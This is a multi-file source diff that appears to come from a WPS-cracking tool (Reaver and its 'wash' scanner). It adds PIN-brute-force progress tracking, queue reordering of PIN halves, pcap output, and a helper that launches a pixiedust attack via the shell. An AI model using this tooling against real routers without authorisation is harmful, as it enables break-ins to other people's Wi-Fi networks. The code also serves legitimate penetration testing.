363 | attempts = P1_SIZE + p2_idx; | |
364 | sprintf(crack_progress, "%.2lf", (attempts*100.0)/(P1_SIZE + P2_SIZE)); | |
365 | } else { | |
366 | sprintf(crack_progress, "%.1lf", 100.0); | |
367 | } | |
368 | } else { | |
369 | if (crack_progress) { | |
370 | free(crack_progress); | |
371 | crack_progress = NULL; | |
372 | } | |
373 | } | |
374 | } | |
375 | } | |
376 | if (bssid) free(bssid); | |
377 | ||
378 | return crack_progress; | |
379 | } | |
380 | ||
381 | ||
382 | /** | |
383 | * Insert the value to current p1 index (jump the queue) | |
384 | * Return value: | |
385 | * -2 = value tried because KEY2_WIP/KEY_DONE, array nothing done | |
386 | * -1 = value tried, array nothing done | |
387 | * 0 = value is the same as current index, nothing done | |
388 | * 1 = array reorganized | |
389 | * | |
390 | * @params char* value The first half WPS pin | |
391 | * | |
392 | * @return int | |
393 | */ | |
394 | int jump_p1_queue(char* value) | |
395 | { | |
396 | int i, index, v_index, found; | |
397 | int ret_val = 0; | |
398 | char *pch; | |
399 | ||
400 | if (!value || strcmp(value, get_p1(get_p1_index())) == 0) { | |
401 | return 0; | |
402 | } | |
403 | ||
404 | if(get_key_status() < KEY2_WIP) { | |
405 | found = 0; | |
406 | /* Get the p1 index */ | |
407 | index = get_p1_index(); | |
408 | /* Check the value was tried */ | |
409 | for(i=0; i < P1_SIZE && i < index; ++i) { | |
410 | if (strcmp(get_p1(i), value) == 0) { | |
411 | found = 1; | |
412 | ret_val = -1; | |
413 | break; | |
414 | } | |
415 | } | |
416 | if (!found) { | |
417 | /* Find the p1 index of the value */ | |
418 | for(i=index; i < P1_SIZE; ++i) { | |
419 | if (strcmp(get_p1(i), value) == 0) { | |
420 | found = 1; | |
421 | v_index = i; | |
422 | if (v_index != index) { | |
423 | ret_val = 1; | |
424 | } | |
425 | break; | |
426 | } | |
427 | } | |
428 | if (found) { | |
429 | /* Reorganize p1 array */ | |
430 | pch = globule->p1[v_index]; | |
431 | for (i=v_index; i > index; --i) { | |
432 | globule->p1[i] = globule->p1[i-1]; | |
433 | } | |
434 | globule->p1[index] = pch; | |
435 | } | |
436 | } | |
437 | } | |
438 | else if (strcmp(value, get_p1(get_p1_index())) != 0) { | |
439 | ret_val = -2; | |
307 | 440 | } |
308 | 441 | |
309 | 442 | return ret_val; |
310 | 443 | } |
311 | 444 | |
445 | /** | |
446 | * Insert the value to current p2 index (jump the queue) | |
447 | * Return value: | |
448 | * -2 = value tried because KEY_DONE, array nothing done | |
449 | * -1 = value tried, array nothing done | |
450 | * 0 = value is the same as current index, nothing done | |
451 | * 1 = array reorganized | |
452 | * | |
453 | * @params char* value The second half WPS pin | |
454 | * | |
455 | * @return int | |
456 | */ | |
457 | int jump_p2_queue(char* value) | |
458 | { | |
459 | int i, index, v_index, found; | |
460 | int ret_val = 0; | |
461 | char *pch; | |
462 | ||
463 | if (!value || strcmp(value, get_p2(get_p2_index())) == 0) { | |
464 | return 0; | |
465 | } | |
466 | ||
467 | if(get_key_status() < KEY_DONE) { | |
468 | found = 0; | |
469 | /* Get the p2 index */ | |
470 | index = get_p2_index(); | |
471 | /* Check the value was tried */ | |
472 | for(i=0; i < P2_SIZE && i < index; ++i) { | |
473 | if (strcmp(get_p2(i), value) == 0) { | |
474 | found = 1; | |
475 | ret_val = -1; | |
476 | break; | |
477 | } | |
478 | } | |
479 | if (!found) { | |
480 | /* Find the p2 index of the value */ | |
481 | for(i=index; i < P2_SIZE; ++i) { | |
482 | if (strcmp(get_p2(i), value) == 0) { | |
483 | found = 1; | |
484 | v_index = i; | |
485 | if (v_index != index) { | |
486 | ret_val = 1; | |
487 | } | |
488 | break; | |
489 | } | |
490 | } | |
491 | if (found) { | |
492 | /* Reorganize p2 array */ | |
493 | pch = globule->p2[v_index]; | |
494 | for (i=v_index; i > index; --i) { | |
495 | globule->p2[i] = globule->p2[i-1]; | |
496 | } | |
497 | globule->p2[index] = pch; | |
498 | } | |
499 | } | |
500 | } | |
501 | else if (strcmp(value, get_p2(get_p2_index())) != 0) { | |
502 | ret_val = -2; | |
503 | } | |
504 | ||
505 | return ret_val; | |
506 | } |
53 | 53 | |
54 | 54 | int restore_session(); |
55 | 55 | int save_session(); |
56 | char *get_crack_progress(unsigned char *mac); | |
57 | int jump_p1_queue(char* value); | |
58 | int jump_p2_queue(char* value); | |
56 | 59 | |
57 | 60 | #endif |
207 | 207 | #endif /* __LITTLE_ENDIAN */ |
208 | 208 | #endif /* __BYTE_ORDER */ |
209 | 209 | |
210 | #if __BYTE_ORDER == __LITTLE_ENDIAN | |
210 | #include "endianness.h" | |
211 | ||
212 | #if ENDIANNESS_LE+0 == 1 | |
211 | 213 | #define le_to_host16(n) ((__force u16) (le16) (n)) |
212 | 214 | #define host_to_le16(n) ((__force le16) (u16) (n)) |
213 | 215 | #define be_to_host16(n) bswap_16((__force u16) (be16) (n)) |
220 | 222 | #define host_to_le64(n) ((__force le64) (u64) (n)) |
221 | 223 | #define be_to_host64(n) bswap_64((__force u64) (be64) (n)) |
222 | 224 | #define host_to_be64(n) ((__force be64) bswap_64((n))) |
223 | #elif __BYTE_ORDER == __BIG_ENDIAN | |
225 | #elif ENDIANNESS_BE+0 == 1 | |
224 | 226 | #define le_to_host16(n) bswap_16(n) |
225 | 227 | #define host_to_le16(n) bswap_16(n) |
226 | 228 | #define be_to_host16(n) (n) |
423 | 425 | # endif |
424 | 426 | #endif |
425 | 427 | |
428 | #ifndef LE16_DEFINED | |
429 | #define LE16_DEFINED | |
426 | 430 | typedef u16 __bitwise be16; |
427 | 431 | typedef u16 __bitwise le16; |
428 | 432 | typedef u32 __bitwise be32; |
429 | 433 | typedef u32 __bitwise le32; |
434 | #endif | |
430 | 435 | typedef u64 __bitwise be64; |
431 | 436 | typedef u64 __bitwise le64; |
432 | 437 |
97 | 97 | * |
98 | 98 | * Note: New line '\n' is added to the end of the text when printing to stdout. |
99 | 99 | */ |
100 | extern int cprintf_ismuted(); | |
100 | 101 | void wpa_printf(int level, const char *fmt, ...) |
101 | 102 | { |
102 | 103 | va_list ap; |
104 | 105 | //wpa_debug_level = MSG_MSGDUMP; |
105 | 106 | |
106 | 107 | va_start(ap, fmt); |
107 | if (level >= wpa_debug_level) { | |
108 | if (!cprintf_ismuted() && (level >= wpa_debug_level)) { | |
108 | 109 | #ifdef CONFIG_DEBUG_SYSLOG |
109 | 110 | if (wpa_debug_syslog) { |
110 | 111 | vsyslog(syslog_priority(level), fmt, ap); |
442 | 442 | * Mac OS X 10.6 seems to be adding 0x00 padding to the |
443 | 443 | * end of M1. Skip those to avoid interop issues. |
444 | 444 | */ |
445 | int i; | |
446 | for (i = 0; i < end - pos; i++) { | |
445 | uintptr_t i, left = end - pos; | |
446 | for (i = 0; i < left; i++) { | |
447 | 447 | if (pos[i]) |
448 | 448 | break; |
449 | 449 | } |
450 | if (i == end - pos) { | |
450 | if (i == left) { | |
451 | 451 | wpa_printf(MSG_DEBUG, "WPS: Workaround - skip " |
452 | 452 | "unexpected message padding"); |
453 | 453 | break; |
179 | 179 | fprintf(stderr, "\t-w, --win7 Mimic a Windows 7 registrar [False]\n"); |
180 | 180 | fprintf(stderr, "\t-K, --pixie-dust Run pixiedust attack\n"); |
181 | 181 | fprintf(stderr, "\t-Z Run pixiedust attack\n"); |
182 | fprintf(stderr, "\t-O, --output-file=<filename> Write packets of interest into pcap file\n"); | |
182 | 183 | |
183 | 184 | fprintf(stderr, "\nExample:\n\t%s -i wlan0mon -b 00:90:4C:C1:AC:21 -vv\n\n", prog_name); |
184 | 185 |
34 | 34 | #include "utils/file.h" |
35 | 35 | #include "utils/vendor.h" |
36 | 36 | #include "send.h" |
37 | #include <fcntl.h> | |
37 | 38 | |
38 | 39 | #define MAX_APS 512 |
39 | 40 | |
43 | 44 | int show_all_aps = 0; |
44 | 45 | int json_mode = 0; |
45 | 46 | int show_utf8_ssid = 0; |
47 | int show_crack_progress = 0; | |
46 | 48 | |
47 | 49 | static struct mac { |
48 | 50 | unsigned char mac[6]; |
103 | 105 | return 0; |
104 | 106 | } |
105 | 107 | |
108 | static volatile int got_sigint; | |
109 | static void sigint_handler(int x) { | |
110 | (void) x; | |
111 | got_sigint = 1; | |
112 | pcap_breakloop(get_handle()); | |
113 | } | |
114 | ||
106 | 115 | int wash_main(int argc, char *argv[]) |
107 | 116 | { |
108 | 117 | int c = 0; |
111 | 120 | int source = INTERFACE, ret_val = EXIT_FAILURE; |
112 | 121 | struct bpf_program bpf = { 0 }; |
113 | 122 | char *last_optarg = NULL, *target = NULL, *bssid = NULL; |
114 | char *short_options = "i:c:n:b:25sfuFDhajU"; | |
123 | char *short_options = "i:c:n:b:O:25sfuFDhajUp"; | |
115 | 124 | struct option long_options[] = { |
116 | 125 | { "bssid", required_argument, NULL, 'b' }, |
117 | 126 | { "interface", required_argument, NULL, 'i' }, |
118 | 127 | { "channel", required_argument, NULL, 'c' }, |
119 | 128 | { "probes", required_argument, NULL, 'n' }, |
129 | { "output-file", required_argument, NULL, 'O'}, | |
120 | 130 | { "file", no_argument, NULL, 'f' }, |
121 | 131 | { "ignore-fcs", no_argument, NULL, 'F' }, |
122 | 132 | { "2ghz", no_argument, NULL, '2' }, |
126 | 136 | { "all", no_argument, NULL, 'a' }, |
127 | 137 | { "json", no_argument, NULL, 'j' }, |
128 | 138 | { "utf8", no_argument, NULL, 'U' }, |
139 | { "progress", no_argument, NULL, 'p' }, | |
129 | 140 | { "help", no_argument, NULL, 'h' }, |
130 | 141 | { 0, 0, 0, 0 } |
131 | 142 | }; |
159 | 170 | channel = atoi(optarg); |
160 | 171 | set_fixed_channel(1); |
161 | 172 | break; |
173 | case 'O': | |
174 | { | |
175 | int ofd = open(optarg, O_WRONLY|O_CREAT|O_TRUNC, 0660); | |
176 | set_output_fd(ofd); | |
177 | if(ofd == -1) perror("open outputfile failed: "); | |
178 | } | |
179 | break; | |
162 | 180 | case '5': |
163 | 181 | set_wifi_band(get_wifi_band() | AN_BAND); |
164 | 182 | break; |
185 | 203 | break; |
186 | 204 | case 'U': |
187 | 205 | show_utf8_ssid = 1; |
206 | break; | |
207 | case 'p': | |
208 | show_crack_progress = 1; | |
188 | 209 | break; |
189 | 210 | default: |
190 | 211 | wash_usage(argv[0]); |
262 | 283 | if(!get_handle()) |
263 | 284 | { |
264 | 285 | cprintf(CRITICAL, "[X] ERROR: Failed to open '%s' for capturing\n", get_iface()); |
265 | goto end; | |
266 | } | |
267 | ||
268 | if(pcap_compile(get_handle(), &bpf, PACKET_FILTER, 0, 0) != 0) | |
269 | { | |
270 | cprintf(CRITICAL, "[X] ERROR: Failed to compile packet filter\n"); | |
271 | cprintf(CRITICAL, "[X] PCAP: %s\n", pcap_geterr(get_handle())); | |
272 | goto end; | |
273 | } | |
274 | ||
275 | if(pcap_setfilter(get_handle(), &bpf) != 0) | |
276 | { | |
277 | cprintf(CRITICAL, "[X] ERROR: Failed to set packet filter\n"); | |
278 | 286 | goto end; |
279 | 287 | } |
280 | 288 | |
326 | 334 | startchan = 34; |
327 | 335 | change_channel(startchan); |
328 | 336 | } |
337 | ||
338 | memset(&act, 0, sizeof(struct sigaction)); | |
339 | sigaction (SIGINT, 0, &act); | |
340 | act.sa_flags &= ~SA_RESTART; | |
341 | act.sa_handler = sigint_handler; | |
342 | sigaction (SIGINT, &act, 0); | |
343 | ||
329 | 344 | } |
330 | 345 | |
331 | 346 | if(!header_printed) |
332 | 347 | { |
333 | 348 | if(!json_mode) { |
334 | fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor ESSID\n"); | |
349 | if (show_crack_progress) { | |
350 | fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor Progr ESSID\n"); | |
351 | } else { | |
352 | fprintf (stdout, "BSSID Ch dBm WPS Lck Vendor ESSID\n"); | |
353 | } | |
335 | 354 | //fprintf(stdout, "00:11:22:33:44:55 104 -77 1.0 Yes Bloatcom 0123456789abcdef0123456789abcdef\n"); |
336 | 355 | fprintf (stdout, "--------------------------------------------------------------------------------\n"); |
337 | 356 | } |
338 | 357 | header_printed = 1; |
339 | 358 | } |
340 | 359 | |
341 | while((packet = next_packet(&header))) | |
342 | { | |
360 | while(!got_sigint && (packet = next_packet(&header))) { | |
343 | 361 | parse_wps_settings(packet, &header, bssid, passive, mode, source); |
344 | 362 | memset((void *) packet, 0, header.len); |
345 | 363 | } |
347 | 365 | return; |
348 | 366 | } |
349 | 367 | |
368 | #define wps_active(W) (((W)->version) || ((W)->locked != 2) || ((W)->state)) | |
369 | ||
370 | #define BEACON_SIZE(rth_len) (rth_len + sizeof(struct dot11_frame_header) + sizeof(struct beacon_management_frame)) | |
371 | /* probe responses, just like beacons, start their management frame packet with the same | |
372 | fixed parameters of size 12 */ | |
373 | #define PROBE_RESP_SIZE(rth_len) BEACON_SIZE(rth_len) | |
374 | ||
350 | 375 | void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source) |
351 | 376 | { |
352 | struct radio_tap_header *rt_header = NULL; | |
353 | struct dot11_frame_header *frame_header = NULL; | |
354 | 377 | struct libwps_data *wps = NULL; |
355 | 378 | enum encryption_type encryption = NONE; |
356 | 379 | char *bssid = NULL, *ssid = NULL, *lock_display = NULL; |
380 | char *crack_progress = NULL; | |
357 | 381 | int wps_parsed = 0, probe_sent = 0, channel = 0, rssi = 0; |
358 | 382 | static int channel_changed = 0; |
359 | 383 | |
384 | if(packet == NULL || header == NULL) goto end; | |
385 | ||
386 | struct radio_tap_header *rt_header = (void *) radio_header(packet, header->len); | |
387 | size_t rt_header_len = end_le16toh(rt_header->len); | |
388 | if(header->len < rt_header_len + sizeof(struct dot11_frame_header)) goto end; | |
389 | ||
390 | struct dot11_frame_header *frame_header = (void *) (packet + rt_header_len); | |
391 | ||
392 | unsigned f_type = frame_header->fc & end_htole16(IEEE80211_FCTL_FTYPE); | |
393 | unsigned fsub_type = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE); | |
394 | ||
395 | int is_management_frame = f_type == end_htole16(IEEE80211_FTYPE_MGMT); | |
396 | int is_beacon = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_BEACON); | |
397 | int is_probe_resp = is_management_frame && fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP); | |
398 | ||
399 | if(!(is_probe_resp || is_beacon)) goto end; | |
400 | ||
401 | if(is_beacon && header->len < BEACON_SIZE(rt_header_len)) goto end; | |
402 | if(is_probe_resp && header->len < PROBE_RESP_SIZE(rt_header_len)) goto end; | |
403 | ||
404 | /* If a specific BSSID was specified, only parse packets from that BSSID */ | |
405 | if(memcmp(get_bssid(), NULL_MAC, MAC_ADDR_LEN) && | |
406 | !is_target(frame_header)) goto end; | |
407 | ||
360 | 408 | wps = malloc(sizeof(struct libwps_data)); |
361 | 409 | memset(wps, 0, sizeof(struct libwps_data)); |
362 | 410 | |
363 | if(packet == NULL || header == NULL || header->len < MIN_BEACON_SIZE) | |
364 | { | |
365 | goto end; | |
366 | } | |
367 | ||
368 | rt_header = (struct radio_tap_header *) radio_header(packet, header->len); | |
369 | size_t rt_header_len = end_le16toh(rt_header->len); | |
370 | frame_header = (struct dot11_frame_header *) (packet + rt_header_len); | |
371 | ||
372 | /* If a specific BSSID was specified, only parse packets from that BSSID */ | |
373 | if(!is_target(frame_header)) | |
374 | { | |
375 | goto end; | |
376 | } | |
377 | 411 | |
378 | 412 | set_ssid(NULL); |
379 | 413 | bssid = (char *) mac2str(frame_header->addr3, ':'); |
386 | 420 | { |
387 | 421 | channel = parse_beacon_tags(packet, header->len); |
388 | 422 | if(channel == 0) { |
389 | // It seems 5 GHz APs do not set channel tags. | |
390 | // FIXME: get channel by parsing radiotap header | |
391 | channel = get_channel(); | |
423 | channel = freq_to_chan(rt_channel_freq(packet, header->len)); | |
424 | /* If we didn't get channel from tagged IEs nor radiotap, we take it from the current chan of the scan */ | |
425 | if(!channel) channel = get_channel(); | |
392 | 426 | } |
393 | 427 | rssi = signal_strength(packet, header->len); |
394 | 428 | ssid = (char *) get_ssid(); |
399 | 433 | change_channel(channel); |
400 | 434 | channel_changed = 1; |
401 | 435 | } |
402 | ||
403 | unsigned fsub_type = frame_header->fc & end_htole16(IEEE80211_FCTL_STYPE); | |
404 | ||
405 | int is_beacon = fsub_type == end_htole16(IEEE80211_STYPE_BEACON); | |
406 | int is_probe_resp = fsub_type == end_htole16(IEEE80211_STYPE_PROBE_RESP); | |
407 | 436 | |
408 | 437 | if(is_probe_resp || is_beacon) { |
409 | 438 | wps_parsed = parse_wps_parameters(packet, header->len, wps); |
420 | 449 | probe_sent = 1; |
421 | 450 | } |
422 | 451 | |
423 | if(!json_mode && (!was_printed(bssid) && (wps->version > 0 || show_all_aps == 1))) | |
452 | if(!json_mode && (!was_printed(bssid) && (wps_active(wps) || show_all_aps == 1))) | |
424 | 453 | { |
425 | if(wps->version > 0) switch(wps->locked) | |
454 | if(wps_active(wps)) switch(wps->locked) | |
426 | 455 | { |
427 | 456 | case WPSLOCKED: |
428 | 457 | lock_display = YES; |
433 | 462 | break; |
434 | 463 | } else lock_display = NO; |
435 | 464 | |
465 | if (show_crack_progress) { | |
466 | crack_progress = get_crack_progress(frame_header->addr3); | |
467 | } | |
468 | ||
436 | 469 | char* vendor = get_vendor_string(get_ap_vendor(bssid)); |
437 | 470 | char* sane_ssid = sanitize_string(ssid); |
438 | 471 | |
439 | 472 | if(show_utf8_ssid && verifyssid(ssid)) |
440 | 473 | strcpy(sane_ssid,ssid); |
441 | 474 | |
442 | if(wps->version > 0) | |
443 | fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", sane_ssid); | |
475 | if(wps_active(wps)) | |
476 | { | |
477 | if (show_crack_progress) | |
478 | fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %5s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid); | |
479 | else | |
480 | fprintf(stdout, "%17s %3d %.2d %d.%d %3s %8s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, vendor ? vendor : " ", sane_ssid); | |
481 | } | |
444 | 482 | else |
445 | fprintf(stdout, "%17s %3d %.2d %8s %s\n", bssid, channel, rssi, vendor ? vendor : " ", sane_ssid); | |
483 | { | |
484 | if (show_crack_progress) | |
485 | fprintf(stdout, "%17s %3d %.2d %8s %5s %s\n", bssid, channel, rssi, vendor ? vendor : " ", crack_progress ? crack_progress : "-", sane_ssid); | |
486 | else | |
487 | fprintf(stdout, "%17s %3d %.2d %8s %s\n", bssid, channel, rssi, vendor ? vendor : " ", sane_ssid); | |
488 | } | |
446 | 489 | free(sane_ssid); |
490 | ||
491 | if (crack_progress) free(crack_progress); | |
447 | 492 | } |
448 | 493 | |
449 | 494 | if(probe_sent) |
458 | 503 | if(!wps_parsed || is_probe_resp) |
459 | 504 | { |
460 | 505 | mark_ap_complete(bssid); |
461 | if(json_mode && (show_all_aps || wps->version > 0)) { | |
462 | char *json_string = wps_data_to_json(bssid, ssid, channel, rssi, get_ap_vendor(bssid), wps); | |
506 | if(json_mode && (show_all_aps || wps_active(wps))) { | |
507 | if (show_crack_progress) { | |
508 | crack_progress = get_crack_progress(frame_header->addr3); | |
509 | } | |
510 | char *json_string = wps_data_to_json(bssid, ssid, channel, rssi, get_ap_vendor(bssid), wps, crack_progress); | |
463 | 511 | fprintf(stdout, "%s\n", json_string); |
464 | 512 | fflush(stdout); |
465 | 513 | free(json_string); |
514 | ||
515 | if (crack_progress) free(crack_progress); | |
466 | 516 | } |
467 | 517 | } |
468 | 518 | |
518 | 568 | fprintf(stderr, "\nOptional Arguments:\n"); |
519 | 569 | fprintf(stderr, "\t-c, --channel=<num> Channel to listen on [auto]\n"); |
520 | 570 | fprintf(stderr, "\t-n, --probes=<num> Maximum number of probes to send to each AP in scan mode [%d]\n", DEFAULT_MAX_NUM_PROBES); |
571 | fprintf(stderr, "\t-O, --output-file=<filename> Write packets of interest into pcap file\n"); | |
521 | 572 | fprintf(stderr, "\t-F, --ignore-fcs Ignore frame checksum errors\n"); |
522 | 573 | fprintf(stderr, "\t-2, --2ghz Use 2.4GHz 802.11 channels\n"); |
523 | 574 | fprintf(stderr, "\t-5, --5ghz Use 5GHz 802.11 channels\n"); |
526 | 577 | fprintf(stderr, "\t-a, --all Show all APs, even those without WPS\n"); |
527 | 578 | fprintf(stderr, "\t-j, --json print extended WPS info as json\n"); |
528 | 579 | fprintf(stderr, "\t-U, --utf8 Show UTF8 ESSID (does not sanitize ESSID, dangerous)\n"); |
580 | fprintf(stderr, "\t-p, --progress Show percentage of crack progress\n"); | |
529 | 581 | fprintf(stderr, "\t-h, --help Show help\n"); |
530 | 582 | |
531 | 583 | fprintf(stderr, "\nExample:\n"); |
45 | 45 | #include "iface.h" |
46 | 46 | #include "80211.h" |
47 | 47 | #include "builder.h" |
48 | #include "session.h" | |
48 | 49 | |
49 | 50 | #define INTERFACE 0 |
50 | 51 | #define PCAP_FILE 1 |
63 | 64 | |
64 | 65 | #define YES "Yes" |
65 | 66 | #define NO "No " |
66 | ||
67 | #define FAKE_RADIO_TAP_HEADER "\x00\x00\x00\x00\x00\x00\x00\x00" | |
68 | #define PACKET_FILTER "type mgt and (subtype beacon or subtype proberesp)" | |
69 | 67 | |
70 | 68 | enum tag_type |
71 | 69 | { |
0 | #!/usr/bin/env python2 | |
0 | #!/usr/bin/env python | |
1 | 1 | |
2 | 2 | # this is a filter meant to be used with a logfile containing |
3 | 3 | # debug output from wpa_supplicant or reaver, which extracts |
79 | 79 | if line == '': break |
80 | 80 | process_wpa_supplicant_line(data, line.rstrip('\n')) |
81 | 81 | |
82 | print data | |
82 | print(data) | |
83 | 83 | |
84 | 84 | if got_all_pixie_data(data): |
85 | 85 | pixiecmd = get_pixie_cmd(data) |
86 | 86 | |
87 | print "running %s" % pixiecmd | |
87 | print(("running %s" % pixiecmd)) | |
88 | 88 | os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd) |
89 | 89 |